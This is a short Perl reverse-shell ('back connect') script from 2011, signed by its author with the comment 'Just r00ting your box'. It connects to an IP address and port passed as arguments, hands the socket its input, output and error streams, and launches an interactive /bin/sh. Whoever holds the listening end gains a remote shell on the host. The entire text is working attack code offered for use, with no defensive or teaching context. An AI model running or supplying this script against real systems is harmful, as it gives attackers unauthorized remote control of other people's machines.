Back connect script

#By n4sss.
#Just r00ting your box.
#2011
#!/usr/bin/perl
use Socket;
use FileHandle;
$IP = $ARGV[0];
$PORT = $ARGV[1];
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "########################################\n";
print "#   Back Connect Script By n4sss       #\n";
print "########################################\n";
system("/bin/sh -i");
#Contact: n4sss@hotmail.com